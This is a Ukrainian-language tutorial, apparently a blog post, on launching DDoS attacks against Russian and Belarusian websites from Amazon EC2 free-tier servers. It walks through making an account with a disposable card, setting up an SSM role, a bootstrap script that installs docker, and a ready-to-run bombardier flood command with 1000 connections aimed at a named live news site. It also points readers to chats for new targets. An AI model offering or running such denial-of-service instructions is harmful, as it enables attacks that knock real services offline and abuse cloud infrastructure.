Як DDoS-ти з Free Tier з Amazon Cloud
Привіт усім.
Насамперед хочеться подякувати @Anonymous та усім хакерам світу, а також причетним ІТ-волонтерам, які обєднались для того, щоб перемогти російських окупантів у війні.
First of all, I want to say Thanks to @Anonymous and all world hackers who are with Ukraine in this War. Thank you for your support. We will win and kick ass #Putin_Huilo #putin_little_bitch.
У цьому мануалі спробую описати, як ДДосити російські і білоруські ресурси, використовуючи серсвіси Amazon. Amazon надає 750 годин роботи EC2 (віртуального сервера) в якості Free Tier на місяць. Тому проста калькуляція: 1 сервер — 1 місяць t2.micro цілодобової безкоштовної роботи, 2 сервера — 15 днів і т. д . Після використання цих лімітів буде зтягуватись плата відповідно до прайсингу Амазону, тому після виконання роботи не забувайте зупиняти інстанси. А також рекомендую використовувати карточку, на якій немає багато грошей, і яку ви можете після закрити (в разі виставлення рахунку Амазоном).
1. Отже, почнемо з того, що потрібно створити акаунт Амазону та підключити карточку, з якої спише $1 і відразу має повернути цей долар назад.
2. Після реєстрації перейдіть за посиланням і увійдіть під новостореним акаунтом.
3. Виберіть будь-який регіон, який вам подобається. Я вибираю будь-який американський регіон.
Для цього подивіться в правий верхній кут у вашому браузері.
4. Після вибору регіону перейдіть в сервіс ІАМ для того, щоб створити сервісну роль для інстансу.
- В ІАМ натисність Create Role — EC2 — Next —
- У Add permissions — у пошуковій строці — шукаємо AmazonEC2RoleforSSM і вибираємо її.
- Далі називаєм як створену роль (як вам подобається), наприклад SSMInstanceRole, і завершуємо створення ролі, натиснувши знизу кнопку Create Role .
5. Після створення ролі переходимо до створення інстансу за посиланнями і вибираємо Launch Instance.
- У пошуковому рядку шукаємо ubuntu та вибираємо найпершу в списку Ubuntu Server 20.04 LTS, натиснувши Select.
- У вкладці Choose an Instance Type вибираємо t2.micro та натискаємо Next.Configure Instance Details.
- У Number of instances можна вибрати кількість однотипних інстансів, які бажаєте створити. 1, 2, 3 і т. д. ( не забуваємо про кількість годин місячного безкоштовного використання в 750 год.). Всі інші параметри лишаємо дефолтними, але шукаємо IAM Role та вибираємо попередньо створену роль і наступний важливий параметр User Data .Tуди вставляємо наступне:
#!/bin/bash
mkdir /tmp/ssm
cd /tmp/ssm
wget s3.amazonaws.com/...md64/amazon-ssm-agent.deb
sudo dpkg -i amazon-ssm-agent.deb
sudo start amazon-ssm-agent
sudo systemctl enable amazon-ssm-agent
sudo snap install docker
- Далі натискаємо Review and Launch --- Launch --- Procceed without a key pair --- I acknowledge that without a key pair... --- Launch Instance
- Переходимо на борду через View Instance . Потрібно зачекати 2-3 хв., поки інстанс буде сконфігурений.
6. Після того як інстанс перейшов в статус Running, вибираємо його, клікаючи на його ID — натискаємо Connect — вибираємо Session Manager --- Connect
7. Зайшовши в термінал, вводимо sudo -s . Для прикладу можна використовувати тулзу. Для цього вам достатньо вести в терміналі команду docker run -d —rm alpine/bombardier -c 1000 -d 600000h {URL цілі}.
Приклад:
docker run -d --rm alpine/bombardier -c 1000 -d 600000h https://lenta.ru
Увага, використовуйте нові цілі, які знайдете у відповідних чатах. Після того, як ціль перестала відповідати через анонімний браузер, можна зупиняти інстанс або переходити до наступної цілі. Перевірка, чи контейнер запущений: команда docker ps -a. Зупинка докер контейнера: docker stop {id container}.